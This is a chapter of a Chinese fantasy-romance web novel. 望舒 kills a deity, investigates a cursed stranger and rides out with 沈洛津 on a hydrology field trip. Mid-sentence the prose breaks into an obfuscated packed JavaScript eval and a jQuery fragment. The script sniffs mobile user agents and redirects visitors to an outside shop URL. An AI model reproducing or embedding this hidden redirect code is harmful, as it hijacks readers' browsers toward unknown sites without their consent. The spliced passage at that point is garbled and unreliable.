“他不说,那你说吧。”望舒一脸冷漠,说这话时,甚至懒得抬眼皮,锋利的霜华剑剑尖已经抵到神仙的脖颈,触碰的一瞬,渗出微微血迹。
那神仙只觉脖颈一凉,冷汗直流,他悄悄往后退,可没往后一寸,剑尖就刺得更深一毫,他再不敢动弹了,小心翼翼地出声,生怕嘴巴张大了影响自己的脖颈和剑的距离:“军令,谁发的不知道。”
“哦。”望舒没有动,淡淡回了一个字。
神仙以为自己终于逃过一劫,暗自松了口气:“不知大人是哪位天神?”不知道哪里来的胆子,神仙突然这样问出来。话刚出口,他就后悔了,暗暗唾骂犯蠢的自己,刚松下的那口气又提上来了。
只见望舒的眼神变得狠厉,嘴角却轻笑:“你不认识我?那看来你刚刚说的大概是真的了。”
神仙放下心来,他好像没有要和自己计较。
正当神仙沉浸在死里逃生的喜悦中,就听见望舒缓缓开口:“可是你不能活着,你去搬救兵怎么办?”
神仙想要说自己不会,还没来得及,霜华剑已经挑破了他的大动脉,血溅三尺,望舒的脸颊染上了几滴他的血。
解决完屋外的,望舒重新进入木屋,火还在烧,锅已经干了,糊糊的味道在屋内蔓延开,望舒好心地将火灭了,再烧木屋怕是也要被燎了。
他翻看锅里的东西,乌漆嘛黑的,从角落的幸存者中能大概看出是一锅药,至于什么药,就算这药没糊望舒也看不出来。
不知是不是望舒的错觉,床上的人比方才多了几分血色,难道这老人家爱打架,望舒很没由头地想。
望舒想要破解他身上的咒,试了几次没有成功,总是差一点,这不免让他有些烦躁。神界的人是想杀他吗,还是从他身上获取什么。望舒不知道,解不开咒,要么是这咒望舒没有见过,不会解,要么是施咒之人力量在他之上,不管是哪种,都说明望舒太弱了。
而望舒,非常不愿意承认自己弱,所以他现在很不爽。望舒烦躁地在木屋里翻翻找找,企图找到什么线索,但是很遗憾,他一无所获。因为体会过能力不够所以什么都做不了的无力,所以这万年他蒙头修行,自以为达到一个称得上“高”的水平了。
可是,一间不知道哪里来的小木屋,里头熬着一锅烧干的药,唯一的活物是一个将死之人。这样的凋敝,他却一点信息都摸不出。
换作是谁都不会好受。
不过望舒经历过太多这样无能为力的时刻了,比起那些,眼下情景只是小儿科。既无牵挂之人,也无必尽之事,他也想得开。一旦想开了,烦恼也便烟消云散了。
两个时辰马上就到了,望舒就此作罢。
他为木屋布了一个结界,一有异动,他马上能感知到,虽然不认识床上的那个人,但敌人的敌人就是朋友。临走时,又留了一个传送阵阵眼,以便可以随时过来。还带走了烧糊的药饼。
看着眼前发光的水草,望舒将传送阵毁了,水草顿时黯然失色,淹没在湖底的暗流涌动中,这窝草和旁边的草一起随波摇摆,两三下便叫人认不出了。
出了湖,风小了,望舒赶忙来到闻鹤年身旁,他正在吃辣条。
“正好两个时辰,我还想这包辣条吃完去找你呢。”闻鹤年手上还沾着辣椒油,想拍拍望舒被躲开了,“你身上怎么这么多血啊?受伤了?”
“别人的。”闻鹤年这样说望舒才注意到,自己浑身沾满了血,幸好没有被凡人看见,不然明天就上头条了,“你快看看这是什么?”望舒收拾完身上的血迹,拿出顺来的糊糊药饼递给闻鹤年。
闻鹤年的辣条吃完了,擦干净手接过药饼,纵然是神医,对着这块乌漆嘛黑的药饼也免不了一顿抱怨:“这什么东西?焦成这样是打算熏死病人吗?”
望舒简要地和闻鹤年解释了方才在湖底遇见的事情,闻鹤年不知道从哪里拿出一把瓜子,边听边磕:“哈哈哈有生之年居然能看到神界那些仙子和妖怪厮混在一起,死而无憾啊死而无憾。”
闻鹤年听完,仿佛发现了新大陆,拍手称好。
“你不就经常和妖怪厮混在一起吗?”今天之前,望舒见过的和妖怪来往最密切的神仙是闻鹤年。
闻鹤年将瓜子收起,一颗都不打算分给望舒,他敛了敛神色,认真地说:“我又不是神界的人,和妖怪玩得好点有什么呢?”
望舒没理解他的话,问:“你不是神界的人?那你是什么?”
“云游四方的侠客。”闻鹤年这样说,之后打了一个哈欠,“我好困啊,先回去睡觉了。”
望舒和闻鹤年前半夜没有睡,沈洛津和张知研也是。
“就在山顶上,然后他就扶着我啊……”沈洛津捂着发红发烫的脸,含糊不清地对张知研说,“然后我就……我就很紧张……”
张知研一副看热闹的表情,是不是戳戳沈洛津的腰,沈洛津就“哈哈哈”笑出声。
两人打闹够了,张知研说:“你是不是喜欢他啊?”
“我吗?”沈洛津拍拍自己的脸颊,然后又快速扇风,不可置信地说,“怎么可能?我们两个就是朋友而已……不可能不可能。”
半夜躺在床上,沈洛津脑海中不断浮现出山顶的那一幕。望舒的手指碰到沈洛津肩膀和手臂相连的关节上,沈洛津觉得自己的骨头和望舒的指节碰撞,甚至好像能听见清脆的碰撞声。
望舒的手覆上沈洛津的额头,他的手似乎很凉,又也许是沈洛津的脸太烫,肌肤相贴的瞬间,沈洛津的汗毛瞬间立起来了,额头并没有因为冰冷的手掌而降温,反而越发滚烫。
沈洛津感受到了望舒的呼吸声,全世界都安静了,只剩下他此起彼伏的呼吸声和她的心跳声交相呼应。
今夜注定是无眠之夜。
望舒也被事情搅得睡不着,躺在床上辗转反侧。和沈洛津若有似无的肢体接触总在脑海中闪现,时过经年,他依然无法淡然自若,一念、一触都令他魂牵梦绕。
爱意沿着时间裂缝,从万年前偷渡到今天,汹涌不减,流淌不息。
木屋里的人是谁……
神界为什么和妖怪联合……
他们的目标,除了水神,还有什么……
这样想着,不知不觉,望舒睡着了……
第二天早
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799700|210391||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上,张知研叫醒了自带熊猫妆的沈洛津。今天开始,各组要独自完成自己分配到的工作。在食堂,沈洛津和江远将观测点布局好。
大致分成四部分:第一部分,前一天山上的两口井以及东面陡坡底下一口井,这三点作垂直研究;第二部分,湖面西岸有四个观测点,从基地后院一直延伸到湖边芦苇带,与第一部分一起,构成一条完整的地下水流线,描述降水入渗后沿山体裂隙向湖盆运移的全过程;第三部分,澄湖东岸陡崖,从澄泄河口到采石场,共四个观测点;第四部分,澄湖与澄泄河河口至青江干流一线,共三个观测点。
另外,在断层泉群,还要设立一个流量测点。
很自然的,前两部分为一组,后两部分与流量测点为一组。优缺点也很明显,前一组离基地近,出行方便,但是要爬山;后一组离基地远,地形更为复杂,但可以适当借助交通工具。
“你昨天没睡好吗?”即将开始分组,江远突然问,见沈洛津没有理他,又接着提醒,“洛津。”
“没事,你想去哪里?”沈洛津很困,此刻强撑着,只想尽快结束。
“那我负责前两部分吧,我昨天看你不是很擅长爬山。”江远绅士地对沈洛津说。
但沈洛津并没有因此感动,她应了一声就离开了。
“是个人都能看出来,后两部分更困难也更危险,他真是不客气。”张知研知道以后,又愤怒又心疼,“你要怎么过去啊?”
“他每天都得上山,也挺辛苦的。”在这件事情上,沈洛津倒是没有多大情绪,都是工作,各有各的难处,“——我借了一辆电动车,我骑车去。”
“那你小心哦,路上不太好走。”
“去哪,我们一起。”沈洛津刚挂完张知研的电话,望舒就出现了。
沈洛津拍拍借来的电动车的坐垫,冲望舒灿烂一笑:“上来,我带你。”
从基地出发,最初的几百米是水泥路,电动车是找一个学姐借的,两只把手边上安了两个小风扇,启程被风一吹,风扇“咕噜咕噜”转个不停,沿着湖岸,风景独好。
再往前,水泥路没了,路面是压实的红土,碎石散落一地。路的左边,湖面逐渐收窄,右侧是延绵的断块山。电动车在路面上颠簸,沈洛津放轻手上的力度,骑得谨慎,工具包放在沈洛津脚边,随着车的颠簸不断跳动,发出有节奏的碰撞声。
望舒坐在沈洛津后座,原先两手虚虚搭在电动车两边的扶手上,起初还享受着湖风吹拂,到了土路上,望舒的手抓紧了。这是望舒第一次使用“电动车”这个交通工具,竟不免有些紧张,偏偏前方一个土沟,电动车重重跌宕了一下,惊得望舒紧紧搂住沈洛津的腰。
望舒的体温从腰间传来,沈洛津一动不敢动,咽了口水,手上愈发捏紧电动车把手。纵是“小毛驴”上驰骋多年,此刻也升起一阵惊慌,不过这阵惊慌很快被沈洛津压下去,她认真地控制电动车继续向前。
而望舒,那个土坑过去之后才发现自己做了什么,但是由于沈洛津对此事没有发表任何看法,所以他静悄悄地继续搂着沈洛津的腰,在沈洛津身后偷偷开心。